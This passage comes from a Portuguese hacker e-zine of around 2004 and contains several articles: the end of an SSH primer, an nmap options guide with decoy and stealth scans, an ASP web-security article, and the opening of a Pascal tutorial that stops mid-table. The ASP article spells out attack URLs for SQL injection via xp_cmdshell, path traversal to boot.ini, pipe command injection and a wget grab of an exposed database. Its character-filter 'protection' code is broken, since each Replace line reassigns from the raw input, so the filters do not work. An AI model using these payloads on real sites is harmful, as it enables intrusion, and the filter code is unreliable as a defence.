usa uma chave pública (public key) para encriptação dos dados e uma chave privada (private key) para desencriptação. Assim, antes do PC da Maria estabelecer conexão com o Mac da Joana, eles passam por um processo de autenticação e troca de chaves públicas: o PC envia sua public key para o Mac da Joana , e o Mac faz o mesmo com o PC da Maria. Depois de feita essa troca, a comunicação pode prosseguir com segurança. A forma de encriptação na comunicação entre duas máquina torna o SSH uma poderosa ferramenta muito útil na administração de máquinas remotas, uma vez que permite ao administrador verificar e até mesmo configurar uma máquina remotamente de forma segura, podendo ele até mesmo executar aplicações como o Linuxconf na maquina remota. O canal de comunicação utiliza uma encriptação forte, que garante a privacidade dos seus dados na rede entre as duas máquinas. Ficando assim impossível (ou quase) que alguém consiga ler os seus pacotes durante o tráfego pela rede. Você pode configurar a shell, em suas contas em dois hosts de sua confiança, de tal forma que você possa passar de um host para o outro de forma pratica e segura, sem ter de ficar digitando suas senhas a cada seção. Pode-se tambem configurar a shell para fazer um "pipe-through" de conexões X11 por dentro do canal encriptado, de forma que fica muito mais simples abrir em sua máquina janelas de aplicativos X11 que você rode em sistemas remotos, pois não será mais necessario a preocupação com as variáveis e autorizações de display. Junto com o SSH vem alguns aplicativos adicionais como o scp e sftp, que substituem os comandos tradicionais de cópia remota de arquivos como o rcp e ftp. Estes novos comandos dificilmente falham por causa de erros de autenticação, como fazem os comandos tradicionais. Em vez disso, é exigido o password sempre que a autorização automática não for bem sucedida. ~~~~~~~~~~~~~~~~~~~~ 4 - Alguns Comandos ~~~~~~~~~~~~~~~~~~~~ Como já foi dito, o SSH visa substituir antigos protocolos de acesso remoto. Vamos a uma pequena descrição dos principais comandos do SSH. Comandos : ssh : Usado para fazer o login e executar comandos dentro de uma máquina remota. Sintaxe: ssh usuario@servidor [commando] Onde: usuário é o nome do usuário ("login") . Ex.: Maria servidor é o nome do servidor ao qual deseja conectar. Ex.: motdlabs.org Exemplo: ssh maria@motdlabs.org ssh maria@motdlabs.org ls Você também pode especificar outras opções, olhe a página manual do ssh ssh-keygen : comando utilizado para criação de chaves. Sintaxe: ssh-keygen -t tipo_chave Onde o tipo de chave pode ser: rsa1 , rsa , dsa ( para saber a diferença entre as chaves pesquise.:-) Exemplo: # Para criar uma chave tipo dsa: [usuario@localhost]$ ssh-keygen -t dsa slogin : Nome alternativo ao comando ssh. scp : Utilizado para cópia remota de arquivos. Para Upoload ( transferir um arquivo de sua maquina para o servidor remoto) Sintaxe: scp [arquivo_local] [usuario@servidor remoto]:[nome do arquivo no servidor remoto] Exemplo: [usuario@localhost]$ scp /tmp/motd_guide_01.zip usuario@motdlabs.org:/teste Esse comando copia da máquina de origem o arquivo motd_guide_01.zip que esta na pasta tmp para a pasta teste no servidor remoto. Para baixar um arquivo do servidor remoto: Sintaxe: scp usuario@servidor_remoto:arquivo usuario@sua_maquina:arquivo Exemplo: [usuario@localhost]$ scp usuario@motdlabs.org:/teste/motd.zip usuario@localhost:/tmp Para saber mais consulte as paginas do man scp. sftp : Similar ao uso do ftp, a diferença é que o sftp realiza todas as operações de forma criptografada. Os comandos são similares ao clássico ftp: [usuario@localhost]$ sftp ftp.motdlabs.org Connecting to ftp.motdlabs.org... usuario@motdlabs.org password: sftp>help Available commands: cd path Change remote directory to 'path' lcd path Change local directory to 'path' chgrp grp path Change group of file 'path' to 'grp' chmod mode path Change permissions of file 'path' to 'mode' chown own path Change owner of file 'path' to 'own' help Display this help text get remote-path [local-path] Download file lls [ls-options [path]] Display local directory listing ln oldpath newpath Symlink remote file lmkdir path Create local directory lpwd Print local working directory ls [path] Display remote directory listing lumask umask Set local umask to 'umask' mkdir path Create remote directory put local-path [remote-path] Upload file pwd Display remote working directory exit Quit sftp quit Quit sftp rename oldpath newpath Rename remote file rmdir path Remove remote directory rm path Delete remote file symlink oldpath newpath Symlink remote file version Show SFTP version !command Execute 'command' in local shell ! Escape to local shell ? Synonym for help sftp> Um exemplo de uso [usuario@localhost]sftp usuario@motdlabs.org sftp>get motd_guide_01.zip ~~~~~~~~~~~~~~~~~~ 5 - Clientes SSH ~~~~~~~~~~~~~~~~~~ Existem muitos clientes disponíveis hoje no mercado desde o original da empresa finlandesa SSH ( http://www.ssh.fi ),ate mesmo versões freewares para várias plataformas e sistemas operacionais. Para sistemas *nix existe o OpenSSH(http://www.openssh.org/), que inclui um cliente de terminal e de transferência de arquivos, e o Yafc(http://yafc.sourceforge.net/) que apenas contem um cliente para transferência de arquivos, ambos são 'opensource'. Como a opção da maioria continua sendo o Windows, caso você queira utilizar um cliente SSH a partir de uma estação Windows,os mais populares são o PuTTY (http://www.chiark.greenend.org.uk/~sgtatham/putty/), o TeraTERM ou o SecureTTY (http://www.vandyke.com/), caso nenhum desses consiga suprir suas necessidades procure nos sites de downloads por outros programas e maiores informações. ~~~~~~~~~~~~~~ 6 - Conclusão ~~~~~~~~~~~~~~ A implementação desses protocolos deve ser robusta. Por exemplo, ser simplesmente capaz de logar-se a um host utilizando um cliente SSH, não significa, necessariamente, que a informação tenha sido criptografada com segurança. Deve-se verificar quais são os algoritmos de criptografia suportados. Investindo nessa tendência, muitos fabricantes anunciam seus produtos como sendo "seguros", baseados em apenas alguns recursos relacionados a segurança (por exemplo, muitos servidores são chamados de "seguros", simplesmente porque suportam conexões SSH). Isto está relacionado com a época em que a maior parte do gerenciamento out-of-band era feito usando Telnet através de um servidor de terminal "inseguro" em uma rede local. Bom pessoal ainda falta muita coisa a ser dita sobre SSH , espero que esse pequeno txt tenha esclarecido um pouco sobre esse protocolo, e que mais ninguem confunda SSH com telnet :). ~~~~~~~~~~~~~~~~ 7 - Referências ~~~~~~~~~~~~~~~~ Página manual do SSH, man ssh How to use SSH, http://www.csua.berkeley.edu/ssh-howto.html The SSH Home Page : Tem várias informações sobre SSH http://www.ssh.org/ The SSH FAQ : Perguntas e respostas sobre SSH http://www.employees.org/~satch/ssh/faq/ Net-Security http://www.net-security.org. RNP http://www.rnp.br. Cyclades http://www.cyclades.com.br/ ~~~~~~~~~~~ 8 - Links ~~~~~~~~~~~ * MOTD Home Page -> http://www.motdlabs.org/ * InfosHack InSecurity ->http://www.infoshack.motdlabs.org * CDM Home Page -> http://cdm.frontthescene.com.br * FTS Home Page -> http://www.frontthescene.com.br -------------- EOF ----------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[09]-=[Usando o NMAP]-=|REPOLHO|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 1.Introducao Neste (mini) artigo mostrarei as opcoes "basicas" do nmap, este portscan apesar de ser muito famoso e conhecido por toda populacao linux do mundo, tem muito gente mesmo que nao sabe utiliza-la de forma completa e util, desconhecendo assim esta grande ferramenta. 2.O que eh? O nmap eh um utilitario open source utilizado para exploracao da rede e/ou examinar a seguranca de um servidor/rede. O uso mais comum dele eh como portscan e deteccao de SO de um alvo qualquer. 3.Como usar Para utilizar o nmap a sintaxe eh a seguinte: nmap [tipo de scan] [opcoes] sendo assim vou mostrar os principais tipos de scan primeiro e logo mais as opcoes que tem alguma utilidade. 4. Tipos de Scan - Metodos e Varredura -sT TCP connect Scan: esta forma eh a mais simples de scan, pois ele usa a chamada de sistema "connect()" que tenta conectar porta em porta ateh que receba um valor igual a 0 , que corresponde porta aberta, eh um metodo muito mas deixa milhares de logs, pois seria como se um cliente conectasse no servidor, sendo assim, deixando todo o log no sistema. -sP Ping Scan: neste metodo o nmap envia um ping para o alvo para saber se o host esta up ou nao, mas como existem hoje varios metodos que barram pacotes ICMP, entao o nmap manda tmb pacotes de TCP ACK na porta 80, caso o nmap obtem resposta ele. OBS: este metodo eh usado apenas para ver se o servidor esta up sem realmente scanear as portas . -sS TCP SYN Scan: este metodo manda um pacote SYN como se fosse uma conexao real e aguarda resposta, caso a resposta seja um pacote SYN ACK, a porta esta aberta, caso receba a flag RST como resposta, indica que a porta esta fechado, isto eh, nao esta em modo listening, o bom deste metodo eh que eh mais dificil a deteccao de das conexoes. -sU UDP Scan: este metodo eh utilizado para verificar as portas UDP de um alvo qualquer. Ele manda um pacote UDP de 0 bytes pra cada porta , se receber um pacote ICMP como resposta entao a porta esta fechada, senao a porta PODE estar aberta. -sR RPC scan: Ele pega todas as portas TCP/UDP encontradas abertas e inunda elas com comandos NULL de programas SunRPC numa tentativa de determinar quando elas são portas RPC, e se sao, qual programa e versao dos servicos. Seria quase o mesmo que usar o comando "rcpinfo -p" mesmo estando atras de um firewall. -sX -sF -sN Modos Stealth FIN, Xmas Tree, ou Null scan: este e um metodo "menos" visiveis, pois eles passam atraves de um firewall, ou servidor de deteccao de scan, este metodo nao funciona com maquina window, portanto eh um metodo de identificar por cima qual SO que a vitima esta usando. -sI Metodo idlescan: este metodo nao possui no man do Nmap, uma documentacao sobre este metodo esta disponivel em : http://www.insecure.org/nmap/idlescan.html, este eh um metodo onde o atacante nao envia nenhum pacote saindo de sua maquina, deem uma olhada no site para mais infos, mas um detalhe... eh show di bola ;) PS: nao vou colocar tudo aqui pq eh muito material sobre o idlescan. 5. Opcoes -A Esta opcao mostra a versao do programa rodando naquela porta, isso eh muito util, ja que utilizar scaners de vulnerabilidades provoca muito barulho, identificado q programa e qual a versao dele, podemos correr atras de falhas para o mesmo, fazendo assim o trabalho de um scan de vulnerabilidades. -D Durante uma varredura, utiliza uma serie de endereços falsificados, simulando que o scanning tenha originado desses varios hosts, sendo praticamente impossível identificar a verdadeira origem da varredura. Ex.: nmap -D IP1,IP2,IP3,IP4,IP6,SEU_IP alvo -F Procura pelas portas que estao no /etc/services. Metodo mais rapido, porem nao procura por todas as portas. -I Se o host estiver utilizando o ident, eh possivel identificar o dono dos servicos que estao sendo executados no servidor (trabalha com a opcao -sT) -n Nao ira resolver nomes, soh funciona com IP. -O Mostra o sistema operacional e a versao usada pelo sevidor (nao eh 100% confiavel) -p Voce especifica quais portas vao ser verficadas Ex.: nmap -p 21,22,80 vitima -P0 Faz a varredura sem pingar o host antes, pois pode acontecer da vitima nao aceitar ICMP. -R Ira resolver nomes de hosts que serao varridos. -ttl Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do pacote. Ex.: nmap -ttl 55 vitima 6. Consideracoes Finais Bom basicamente eh isso, isto eh soh algumas opcoes do nmap , a intencao de eu escrever este artigo e soh pra quem nao tem a minima ideia que o nmap tem estas opcoes ou nao sabe ingles pra ler o man ou tem preguica de ler o man em portugues do site. Abracos a todos. 7. Agradecimentos Bom... dedico este artigo a todo o pessoal da scene hacker, ao pessoal da MOTD, CDM e FTS, obrigado mais uma vez ao meu amigo inferninh0 por ter contribuido em alguns pontos do artigo. 8. Links Interessantes - http://www.repolho.org/ - http://www.insecure.org/nmap - http://www.motdlabs.org/ - http://cdm.frontthescene.com.br/ - http://www.frontthescene.com.br/ - http://inferninho.motdlabs.org/ - http://www.google.com.br/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[10]-=[ASP Security]-=|Stinger|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Active Pages Security Introdução Stinger stinger@motdlabs.org http://stinger.motdlabs.org ********************************************************************** * * * * * * ********************************************************************** Fui informado a tempos que a Microsoft vai abrir uma academia de formacao aqui em Angola. Eu nao tenho nada contra isso, muito pelo contrario sou a favor de iniciativas que incentivam o ensino, mas quando se trata de ensinar mal e pob remente assim como a maior parte dessas academias eu resolvo me retirar. Bast a olhar para os outros paises que ja provaram o 'sabor' da Microsoft e ver que quem vai aprender em escola de 'rico' nao se da bem. Podemos ver isso nos milhares de codigos com bugs produzidos por programadores 'Microsoft Certified'. Meus amigos diploma nao eh tudo, eu nao fiz nenhum curs o para aprender a dominar linguagens de programacao, para dominar redes e etc. Por isso dedique-se e estude isso vai fazer de voce um cara mais respeitado no mundo da 'computacao seria' onde nem sempre o que vale eh o diploma. E sabe qual tem sido o resultado da falta de estudo e excesso de confianca nos certificados? Milhares de linhas de codigo bem arrumadas, codigos bonitos e etc. Isso mesmo as empresas contratam programadores, e os crackers? Os Vandalos? Os Gatunos? SAO FACILITADOS. Este artigo pretende demonstrar nao so como detectar bugs em ASP mas tambem como proteger-se. Includes Os includes sao o primeiro grande problema dos programadores iniciantes em ASP. O problemas nao se baseiam exactamente nos includes, eles estao safos mas o problemas localiza-se na extensao desses arquivos muitas vezes setados como .inc Vejamos por exemplo uma pagina que usa um arquivo include. http://www.site.co.ao/verificapass.htm Ao analisarmos o codigo fonte verificamos as seguintes linhas: C:\>type verificapass.htm > log.txt C:\>Type log.txt .. ... <% REM Arquivo para verificar as passwords REM Fim do arquivo %> ... .. Podemos ver ali a existencia de uma chamada a um arquivo com a extensao .inc em seguida abrimos o browser e digitamos: http://www.site.co.ao/pass.inc Vemos o seguinte: <% Dim id, password, q, rs, d id = Request.Form("id") password = Request.Form("password") ' ** Create your Query q = "SELECT * FROM password WHERE id LIKE '" &_ id & "' AND password LIKE '" & password & "'" ' ** Create a RecordSet to store the results of the Query Set rs = Server.CreateObject("ADODB.RecordSet") rs.Open q, "DSN=Banco;" ' ** check for no records returned (id or password not found) if NOT rs.EOF then ' ** Set cookies for user's convenience d = Date Response.Cookies("userid") = id Response.Cookies("pword") = password Response.Cookies("userid").Expires = DateAdd("yyyy",2,d) Response.Cookies("pword").Expires = DateAdd("yyyy",2,d) end if %> Podemos ver claramente que o algoritimo de autenticacao pode ser visto a olho nu por isso um conselho: Quando for usar includes evite sempre a extensao .inc .htm .html .txt use sempre a extensao .asp! Base64 Existem pessoas que ainda insistem em codificar os seus dados com base64, nao sei porque ainda fazem isso ja que sabe-se de meios e esquemas de se descodificar esses dados facilmente paginas web, programas preparados para descodificar dados cofificados com base64. O meu programa PassManipulator pode ser usado para codificar e decodificar strings em base64 propriamente especificados pela RFC 2045(Multipurpose Internet Mail Extensions). Usando assim: C:\>pman encode string C:\>pman encode file C:\>pman decode string C:\>pman decode file [Stinger@Boxuh]$perl pman encode string [Stinger@Boxuh]$perl pman encode file [Stinger@Boxuh]$perl pman decode string [Stinger@Boxuh]$perl pman decode file Obs: Ainda nao coloquei o programa no server. Daqui a 2/3 semanas contem com isso. Bases de dados Acess Realmente um grande problema. As bases de dados acess se acessadas podem revelar informacoes fidedignas da base de dados como usernames passwords etc. Voce pode usar a ferramenta srcmdb.pl que eu desenvolvi para tentar procurar por bases de dados acess: C:\>perl srcmdb.pl www.site.com Ou C:\>perl srcmdb.pl www.site.com dir1 dir2 dir3 Esses dir1 dir2 dir3 indicam que ele vai procurar bases de dados nesses diretorios. Use o arquivo srcmdb.cf para indicar outros nomes a procurar. Realmente isso acontece assim. Se voce acessa a URL: www.site.com/users.mdb Entao ele baixa a base de dados para o seu computador. Ou pode ser via wget: [Stinger@Boxuh]$wget http://www.site.com/users.mdb Obs: Ainda nao coloquei o programa no server. Daqui a 2/3 semanas contem com isso. Filtragem de caracteres(Replace) A filtragem de caracteres eh uma particularidade do ASP(e de outras), basicamente o que ela faz eh subistituir caractere a caractere. Vamos analisar em seguida ataques que podem ser barrados usando essa funcao. XSS - Cross site Scripting Bugs Esses bugs tem sido um problema ignorado por muita gente. Mas eles nem sabem que tem sido explorados com sucesso. Ainda tenho visto muitas apps e sites com bugs desse tipo e eles nem ligam nenhuma. Basicamete com esse bug e se voce for vitima qualquer pessoa pode acessar seu cookie ou mesmo redirecciona-lo a uma pagina maliciosa a fim de executar comandos. Bem mas concentremo-nos nos cookies. Como voce sabe(eu nao sei se voce sabe)os cookies sao arquivos armazenados no computador que armazenam informacoes sobre a navegacao em paginas dinamicas ou nao. Por exemplo se voce digitou seu username e password uma vez voce nao precisa digitar mais gracas ao cookie, e eh ai onde entra o perigo um atacante pode obter seus cookies chamando uma funcao javascript e atirando os cookies para um servidor previamente preparado. Tendo capturado seus cookies ele simplesmente esparrama na pasta cookie do pc dele e acessa o site cujo cookie voce possuia. Sendo assim, ou seja tendo o teu cookie na maquina dele ele vira voce, porque a pagina vai identificar o cookie e vai com base no cookie vai deixar ele acessar suas contas. Proteccao Basta filtrar as URl's que nao prestam: Page.asp <% 'Exemplo de proteccao contra 'Ataques de Cross Site Scripting id=Replace(Request.Querystring("id"),"'"," ") id=Replace(Request.Querystring("id"),"-"," ") id=Replace(Request.Querystring("id"),">"," ") id=Replace(Request.Querystring("id"),"<"," ") id=Replace(Request.Querystring("id"),"."," ") id=Replace(Request.Querystring("id"),"!"," ") id=Replace(Request.Querystring("id"),"%"," ") 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Se um atacante tenta um ataque com a seguite URL http://www.siteprotegido.ao/Page.asp?id= O ataque vai ser filtrado. SQL Injection ataques Os ataques com base em sql injection tem aumentado de grau. Cito uma grande rede criada para ser segura (e era) a nivel de protocolos de transaccao, usava Linux SSL, e algo mais, mas era vulneravel a SQL Injection. Com isso mais de 40.000 contas ficaram expostas. Imagine se fosse um cracker ou Kiddie que descobrisse aquilo? Proteccao Basicamente a proteccao eh quase identica a do XSS mas tenha atencao em filtrar os caracteres , ; - %20 etc. Page.asp <% 'Exemplo de proteccao contra 'Ataques de SQL Injection id=Replace(Request.Querystring("id"),"'"," ") id=Replace(Request.Querystring("id"),"-"," ") id=Replace(Request.Querystring("id"),","," ") id=Replace(Request.Querystring("id"),";"," ") id=Replace(Request.Querystring("id"),"%20"," ") id=Replace(Request.Querystring("id"),"or"," ") id=Replace(Request.Querystring("id"),"select"," ") id=Replace(Request.Querystring("id"),"SELECT"," ") id=Replace(Request.Querystring("id"),"*"," ") 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Se um atacante tenta um ataque com a seguite URL http://www.siteprotegido.ao/Page.asp?id=21';SELECT ... Vai ser filtrada. Extored Procedures O servidor SQL da Microsoft possui extored Procedures que permitem a execucao de instrucoes de maquinas em paginas da internet: URL Normal http://www.siteprotegido.ao/Page.asp?id=21 URL com ataque em extored procedures http://www.siteprotegido.ao/Page.asp?id=21';EXEC master.dbo.xp_cmdshell 'cmd.exe dir Onde master.dbo.xp_cmdshell eh uma extored procedure Existem dezenas de outras que permitem a manipulacao do registro do sistema por exemplo. Proteccao Page.asp <% 'Exemplo de proteccao contra 'Ataques de SQL Injection Com Extored Procedures id=Replace(Request.Querystring("id"),"EXEC"," ") id=Replace(Request.Querystring("id"),";"," ") id=Replace(Request.Querystring("id"),"'"," ") id=Replace(Request.Querystring("id"),"."," ") 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Diretorio Transversal Os ataques de dot dot em servidores e em aplicacoes da Web que manipulam dados. Vamos ver uma URL valida http://www.siteprotegido.ao/Page.asp?id=21 Basicamente se um atacante digita nessa URL: http://www.siteprotegido.ao/Page.asp?id=../../../../../C:\boot.ini Ele pode ver na pagina qualquer arquivo no servidor Proteccao Vamos retirar os bad caracteres: Page.asp <% 'Exemplo de proteccao contra 'Ataques de Dot Dot id=Replace(Request.Querystring("id"),"%20"," ") id=Replace(Request.Querystring("id"),"."," ") id=Replace(Request.Querystring("id"),"/"," ") id=Replace(Request.Querystring("id"),"//"," ") id=Replace(Request.Querystring("id"),"\"," ") id=Replace(Request.Querystring("id"),"\\"," ") id=Replace(Request.Querystring("id"),":"," ") 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Pipe Nao vou dar uma explicacao tecnica sobre pipe mas se voce quiser sabe pode ir digitando na sua console: Windows dir | dir *.exe Linux ls | cd / Voce pode ver que ele executa dois comandos simultaneamente, isso mesmo aconselho voce a ler o meu artigo 'Debug-Pro.txt' Esse problema foi amplamente divulgado quando o RFP demonstrou ele naquele problema do ODBC do Windows o que resultou em milhares de paginas pichadas por kiddies. Basicamente uma URL valida: http://www.siteprotegido.ao/Page.asp?id=21 http://www.siteprotegido.ao/Page.asp?id=|cmd+/c+dir Proteccao Vamos retirar os bad caracteres: Page.asp <% 'Exemplo de proteccao contra 'Ataques de Pipe id=Replace(Request.Querystring("id"),"|"," ") 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Case sensitivismo Um 'espertinho' pode muito bem usar tecnicas de casesensitivismo a fim de tentar passar por tecicas de proteccao muito usadas em sistemas de IDS como protocol analisys. Nesse caso: e nao sao iguais. Lembro que o Snort era vulneravel a essa tecnica Proteccao Passa por chamar uma funcao do ASP que transforma letras maiusculas em minusculas: Page.asp <% 'Exemplo de proteccao contra 'Ataques de Case Sensitivismo id=LCase(Request.Querystring("id")) 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Bem por hoje eh tudo na proxima parte pretendo abordar tecnicas de proteccao mais avancadas contra codificacao de bytes em hexadecimal e decimal ate tecnicas de rastreamento e logging, algumas tecnicas de diversao a fim de 'massacrar' o atacante e fazer ele perder tempo a toa pensando que esta atacando a rede. Pretendo ainda falar sobre pattern matching. 4:17 PM 2/23/2004 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[11]-=[Programação em Pascal]-=|d4rwin|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Programação em Pascal =========== == ====== E aí galera, blz? So eu(tio d4rwin) mais uma vez, =). Bom, resolvi escrever sobre pascal, pq visto que o público alvo do e-zine são newbies(como eu), seria legal para pessoas que estão començando, ou mesmo os já iniciados, aprender ou aprimorar seus conhecimentos em programação. O pascal, além de ser uma linguagem de alto nível, não é difícil de se aprender, basta dedicação e programaçao. Programação se aprende programando. Lógico que a parte teórica é importante, mas praticar sempre foi e sempre será a melhor forma de se aprender. Agora vamos deixar de blá blá blá e vamos ao que interessa... Index ~~~~~ 1.0 ..... Introdução 1.1 Lógica de Programação 1.2 Quem criou o Pascal? 2.0 ..... Compiladores 2.1 Borlando Pascal 7.0 2.2 FreePascal 2.3 Outros compiladores 3.0 ..... Estrutura do programa em Pascal 3.1 Cabeçalho 3.2 Comentário 3.3 Título 3.4 Bibliotecas 3.5 Constantes 3.6 Tipo 3.7 Variáveis 3.7.1 Declarando Variáveis 3.8 Corpo do Programa 3.9 O uso do ; 4.0 ..... Sinais 5.0 ..... Comandos Básicos 6.0 ..... Estruturas 6.1 Estruturas de Atribuição 6.2 Estruturas Condicionais 7.0 ..... Laços 7.1 Laço FOR 7.2 WHILE 7.3 Repeat 8.0 ..... Vetores 9.0 ..... Matrizes 10.0 .... Registros 11.0 .... Tratamento de Arquivos 12.0 .... Procedimentos e Funções 13.0 .... Agenda Eletrônica em Pascal 14.0 .... Exercícios 15.0 .... Agradecimentos 16.0 .... Links 1.0 - Introdução ~~~~~~~~~~ Vc deve estar se perguntando: "Porque eu, em pleno ano 2004, uma época em que já lançaram o Delphi 8, vou aprender Pascal, uma linguagem antiga e orientada a eventos?". Aí eu te respondo meu amigo, a primeira linguagem que aprendemos, nós nunca esquecemos. É como andar de bicicleta. Com base nisso, o Pascal é uma ótima linguagem para se começar. O Pascal daria uma boa base pra vc, depois, aprender uma outra linguagem. E tem aquela história, todo conhecimento é bem vindo. 1.1 - Lógica de Programação ~~~~~~ ~~ ~~~~~~~~~~~ Entende-se por lógica de programação, uma seqüência de passos a serem tomados para resolver determinado problema(no nosso caso, construir um programa). Não adianta o cara saber colocar textos e figurinhas na tela, se este não tiver uma boa lógica de programação, e, é isto que difere o bom programador do programador ruim. Ter uma boa lógica, significa conseguir resolver os problemas(construir os programas), para que o resultado final seja satisfatório. Portanto, vá com calma. Não vá com muita sede ao pote...primeira aprenda a andar, pra depois correr.(Filosofei bonito agora, hein, =)). 1.2 - Quem criou o Pascal? ~~~~ ~~~~~ ~ ~~~~~~~ O Pascal foi criado por Niklaus Wirth, em 1972, em Genebra-Suiça. O nome da linguagem foi uma homenagem ao matemático e filósogo Blaise Pascal(inventor da primeira calculadora mecânica). O objetivo de Niklaus Wirth, era o de desenvolver uma linguagem simples, clara e fácil de programar. 2.0 - Compiladores ~~~~~~~~~~~~ Não vou entrar em detalhes sobre o que são compiladores, pois já falei sobre eles na Zine MOTD GUIDE 01, no texto "Introdução à Programação". O que basicamente os compiladores fazem são transformar o código de alto nível(código em Pascal), para linguagem de máquina. 2.1 - Borland Pascal 7.0 ~~~~~~~ ~~~~~~ ~~~ O Borlando Pascal ou Turbo Pascal(são os mesmos) surgiu em 1985, com a Borland. Isto provocou um verdadeiro avanço para a linguagem. Desde as suas primeiras versões o Turbo Pascal já possuia ambiente para digitação e depuração do código, e fazia a compilação e linkedição em um único processo. A última versão do Turbo Pascal lançado foi o Turbo Pascal 7.0. Porém a Borland parou o desenvolvimento do Turbo Pascal, fazendo com que ele se torna -se ultrapassado, mas ainda muito utilizado, para os tempos atuais. 2.2 - FreePascal ~~~~~~~~~~ O FPC(FreePascal Compiler) é um projeto OpenSource que visa continuar com o desenvolvimento da linguagem Pascal. Além de ser compatível com o Turbo Pascal 7.0, possui vários projetos em andamentos. Possui mais recursos que o Turbo Pascal 7.0, e ainda permite interagirmos com alguns GUIs(Graphics User Internface) e APIs. O site do projeto é: www.freepascal.org | Em português: http://www.freepascal.eti.br. 2.3 - Outros Compiladores ~~~~~~ ~~~~~~~~~~~~ Além dos dois compiladores citados acima, tem outros que também merecem respeito. Abaixo segue a lista de alguns, com seus respectivos sites: Compilador | Site ^^^^^^^^^^ ^^^^ --------------------------------------------------------------------------- | Pascaler | www.pascaler.hpg.com.br / www.infoxbr.com.br | |---------------------------------------------------------------------------| | PascalZIM! | www.superdownloads.com.br / autor: pascalzim@yahoo.com.br| --------------------------------------------------------------------------- 3.0 - Estrutura do Programa em Pascal ~~~~~~~~~ ~~ ~~~~~~~~ ~~ ~~~~~~ Um programa em Pascal possui básicamente a seguinte estrutura: { Nome do Programa ...............: Função .........................: Plataforma .....................: Linguagem ......................: Data de criação ................: Data de última alteração .......: Autor ..........................: } Program Nome_do_Programa; Uses ; Const = 'valor_da_constante'; Type : ; Var : ; Begin comandos; comandos; comandos; . . . comandos; End. 3.1 - Cabeçalho ~~~~~~~~~ O cabeçalho não é uma parte fundamental para o funcionamento do programa. Mas é bom você adotar o costume de utilizá-lo, pois assim terá um melhor controle de seu programa, e sentirá menos dificuldade na hora de atualizá-lo. Um exemplo de Cabeçalho: { Nome do Programa ...............: Função .........................: Plataforma .....................: Linguagem ......................: Data de criação ................: Data de última alteração .......: Autor ..........................: } 3.2 - Comentário ~~~~~~~~~~ Comentários são frases ou pequenos parágrafos auto-explicativos que visam deixar mais claro ao programador o funcionamento de seu programa, assim como ajudá-lo na hora de atualizá-lo. Um exemplo de comentário em Pascal: { Este é um exemplo de comentário em Pascal. Tudo o que for escrito entre CHAVES, é desconsiderado pelo compilador. O comentário pode continuar por vários linhas, até a segunda chave. } (* Este é outro exemplo de comentário em Pascal. Tanto este como o exemplo acima são válidos. *) 3.3 - Título ~~~~~~ Título é o nome que o seu programa vai ter. Não tem segredo, ele é declarado da seguinte forma: Program ; 3.4 - Bibliotecas ~~~~~~~~~~~ Em pascal, damos o nome de Units as Bibliotecas. É nas bibliotecas/units onde ficam armazenadas as rotinas e funções a serem utilizadas no programa. Assim como em C, temos a Bibliteca stdio.h como "padrão", no Pascal, temos a unit CRT, utilizado em quase todos os programas feitos em Pascal. Um exemplo de declaração de Units: Uses ; por exemplo: Uses CRT,DOS,Graph; 3.5 - Constantes ~~~~~~~~~~ Constantes são "variáveis" que nunca mudam. Uma vez declarado um valor para uma constante, esse valor jamais mudará. Um exemplo de declaração de constantes: Const = 'valor_da_constante'; por exemplo: Const d4rwin = 'lindao'; 3.6 - Tipo ~~~~ Em Pascal, podemos declarar nossas próprias variáveis, desde que especifiquemos o tipo desta variável. Um exemplo de um declaração de tipo: Type = ; por exemplo: Type d4rwin = string; 3.7 - Variáveis ~~~~~~~~~ As variáveis em Pascal, são dividas em quatro grupos, sendo elas: Numéricas -> Podem ser números inteiros ou reias, pelos dígitos de 0 a 9, sinais + ou - e "." para casas decimais. Alfanuméricas -> Podem ser formadas por qualquer caractere da tabela ASCII. Lógicas -> Podem assumir apenas dois valores: TRUE(Verdadeiro) e FALSE(Falso). Ponteiros -> Podem armazenar apenas endereços de memória. Tipos de variáveis: ----------------------------------------------------------------------------------------- | Classe | Tipo | Valores Comportados | Bytes que Ocupa na Memória | | ------------|--------------|-----------------------------|------------------------------| | Boolean | Lógico | TRUE ou FALSE | 1 byte | | ----------- |--------------|-----------------------------|------------------------------| | Byte | Num. Inteiro | 0 a 255 | 1 byte | | ----------- |--------------|-----------------------------|------------------------------| | Char | Caracter | Tabela ASCII | 1 byte | | ----------- 